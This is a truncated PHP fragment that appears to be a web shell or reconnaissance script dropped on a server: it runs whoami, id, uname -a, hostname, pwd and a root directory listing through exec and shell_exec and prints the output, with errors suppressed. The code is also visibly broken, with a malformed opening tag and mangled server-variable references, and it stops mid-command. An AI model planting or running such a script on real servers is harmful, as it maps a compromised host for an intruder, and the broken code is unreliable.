<php> error_reporting(E_ALL); ini_set('display_errors', 1); echo '<pre>SERVER_SOFTWARE: '.(@['SERVER_SOFTWARE']).'</pre>'; echo '<pre>DOCUMENT_ROOT: '.(@['DOCUMENT_ROOT']).'</pre>'; echo '<pre>USER: '.@exec('whoami').'</pre>'; echo '<pre>PWD: '.@exec('pwd').'</pre>'; echo '<pre>ID: '.@exec('id').'</pre>'; echo '<pre>UNAME: '.@exec('uname -a').'</pre>'; echo '<pre>IP: '.@exec('hostname -I 2>/dev/null || hostname').'</pre>'; echo '<pre>DATE: '.@exec('date').'</pre>'; echo '<pre>LS -LA /: '.@shell_exec('ls -la / 2>